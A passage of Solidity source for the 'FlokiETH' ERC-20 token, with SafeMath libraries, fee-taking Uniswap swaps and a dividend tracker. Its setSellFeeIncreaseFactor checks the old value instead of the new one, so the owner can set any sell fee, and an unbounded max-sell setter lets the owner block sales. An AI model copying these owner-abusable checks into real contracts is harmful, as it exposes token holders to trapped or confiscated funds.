Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } contract FlokiETH is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; bool private liquidating; FlokiETHDividendTracker public dividendTracker; address public deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public MAX_BUY_TRANSACTION_AMOUNT = 500000000 * (10**18); uint256 public MAX_SELL_TRANSACTION_AMOUNT = 30000000 * (10**18); uint256 public MAX_WALLET_AMOUNT = 10000000000 * (10**18); uint256 public constant ETH_REWARDS_FEE = 10; uint256 public constant LIQUIDITY_FEE = 5; uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE; // sells have fees of 10 and 5 (10 * 1.3 and 5 * 1.3) uint256 public SELL_FEE_INCREASE_FACTOR = 130; // use by default 150,000 gas to process auto-claiming dividends uint256 public gasForProcessing = 150000; // liquidate tokens for ETH when the contract reaches 100k tokens by default uint256 public liquidateTokensAtAmount = 100000 * (10**18); // 100 Thousand (0.0001%); // whether the token can already be traded bool public tradingEnabled; function activateTrading() public onlyOwner { require(!tradingEnabled, "FlokiETH: Trading is already enabled"); tradingEnabled = true; } // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // addresses that can make transfers before presale is over mapping (address => bool) public canTransferBeforeTradingIsEnabled; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress); event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Liquified( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SentDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); constructor() ERC20("FlokiETH", "FLOETH") { assert(TOTAL_FEES == 15); dividendTracker = new FlokiETHDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); dividendTracker.excludeFromDividends(deadAddress); // exclude from paying fees or having max transaction amount excludeFromFees(address(this)); // enable owner wallet to send tokens before presales are over. canTransferBeforeTradingIsEnabled[owner()] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), 10000000000 * (10**18)); // 10 Billion (100%) } receive() external payable {} function updateDividendTracker(address newAddress) public onlyOwner { require(newAddress != address(dividendTracker), "FlokiETH: The dividend tracker already has that address"); FlokiETHDividendTracker newDividendTracker = FlokiETHDividendTracker(payable(newAddress)); require(newDividendTracker.owner() == address(this), "FlokiETH: The new dividend tracker must be owned by the FlokiETH token contract"); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); newDividendTracker.excludeFromDividends(address(deadAddress)); emit UpdatedDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "FlokiETH: The router already has that address"); emit UpdatedUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account) public onlyOwner { require(!_isExcludedFromFees[account], "FlokiETH: Account is already excluded from fees"); _isExcludedFromFees[account] = true; } function includeForFees(address account) public onlyOwner { require(_isExcludedFromFees[account], "FlokiETH: Account is already included for fees"); _isExcludedFromFees[account] = false; } function excludeFromDividends(address account) public onlyOwner { dividendTracker.excludeFromDividends(account); } function setMaxBuyTransactionAmount(uint256 amount) external onlyOwner { MAX_BUY_TRANSACTION_AMOUNT = amount * (10**18); } function setMaxSellTransactionAmount(uint256 amount) external onlyOwner { MAX_SELL_TRANSACTION_AMOUNT = amount * (10**18); } function setMaxWalletAmount(uint256 amount) external onlyOwner { MAX_WALLET_AMOUNT = amount * (10**18); } function setSellFeeIncreaseFactor(uint256 multiplier) external onlyOwner { require(SELL_FEE_INCREASE_FACTOR >= 100 && SELL_FEE_INCREASE_FACTOR <= 200, "FlokiETH: Sell transaction multipler must be between 100 (1x) and 200 (2x)"); SELL_FEE_INCREASE_FACTOR = multiplier; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "FlokiETH: The Uniswap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "FlokiETH: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; if (value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function allowTransferBeforeTradingIsEnabled(address account) public onlyOwner { require(!canTransferBeforeTradingIsEnabled[account], "FlokiETH: Account is already allowed to transfer before trading is enabled"); canTransferBeforeTradingIsEnabled[account] = true; } function updateGasForProcessing(uint256 newValue) public onlyOwner { // Need to make gas fee customizable to future-proof against Ethereum network upgrades. require(newValue != gasForProcessing, "FlokiETH: Cannot update gasForProcessing to same value"); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateLiquidationThreshold(uint256 newValue) external onlyOwner { require(newValue != liquidateTokensAtAmount, "FlokiETH: Cannot update gasForProcessing to same value"); emit LiquidationThresholdUpdated(newValue, liquidateTokensAtAmount); liquidateTokensAtAmount = newValue; } function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner { dividendTracker.updateGasForTransfer(gasForTransfer); } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getGasForTransfer() external view returns(uint256) { return dividendTracker.gasForTransfer(); } function getClaimWait() external view returns(uint256) { return dividendTracker.claimWait(); } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns(uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccount(account); } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccountAtIndex(index); } function processDividendTracker(uint256 gas) external { (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas); emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin); } function claim() external { dividendTracker.processAccount(payable(msg.sender), false); } function getLastProcessedIndex() external view returns(uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); bool tradingIsEnabled = tradingEnabled; // only whitelisted addresses can make transfers before the public presale is over. if (!tradingIsEnabled) { require(canTransferBeforeTradingIsEnabled[from], "FlokiETH: This account cannot send tokens until trading is enabled"); } if (amount == 0) { super._transfer(from, to, 0); return; } if (!liquidating && tradingIsEnabled && automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max !_isExcludedFromFees[to] //no max tx-amount and wallet token amount for those excluded from fees ) { require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= MAX_WALLET_AMOUNT, "Exceeds MAX_WALLET_AMOUNT." ); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= liquidateTokensAtAmount; if (tradingIsEnabled && canSwap && !liquidating && !automatedMarketMakerPairs[from] && from != address(this) && to != address(this) ) { liquidating = true; uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES); swapAndLiquify(swapTokens); uint256 sellTokens = balanceOf(address(this)); swapAndSendDividends(sellTokens); liquidating = false; } bool takeFee = tradingIsEnabled && !liquidating; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if (takeFee) { uint256 fees = amount.div(100).mul(TOTAL_FEES); // if sell, multiply by 1.3 if(automatedMarketMakerPairs[to]) { fees = fees.div(100).mul(SELL_FEE_INCREASE_FACTOR); } amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if (!liquidating) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) { emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin); } catch { } } } function swapAndLiquify(uint256 tokens) private { // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit Liquified(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapAndSendDividends(uint256 tokens) private { swapTokensForEth(tokens); uint256 dividends = address(this).balance; (bool success,) = address(dividendTracker).call{value: dividends}(""); if (success) { emit SentDividends(tokens, dividends); } } } /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns(uint256); /// @notice Distributes ether to token holders as dividends. /// @dev SHOULD distribute the paid ether to token holders as dividends. /// SHOULD NOT directly transfer ether to token holders in this function. /// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0. function distributeDividends() external payable; /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed( address indexed from, uint256 weiAmount ); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount ); } /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns(uint256); } /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; // Need to make gas fee customizable to future-proof against Ethereum network upgrades. uint256 public gasForTransfer; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { gasForTransfer = 3000; } /// @dev Distributes dividends whenever ether is paid to this contract. receive() external payable { distributeDividends(); } /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividends() public override payable { require(totalSupply() > 0); if (msg.value > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (msg.value).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, msg.value); totalDividendsDistributed = totalDividendsDistributed.add(msg.value); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(payable(msg.sender)); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); (bool success,) = user.call{value: _withdrawableDividend, gas: gasForTransfer}(""); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } } contract FlokiETHDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public constant 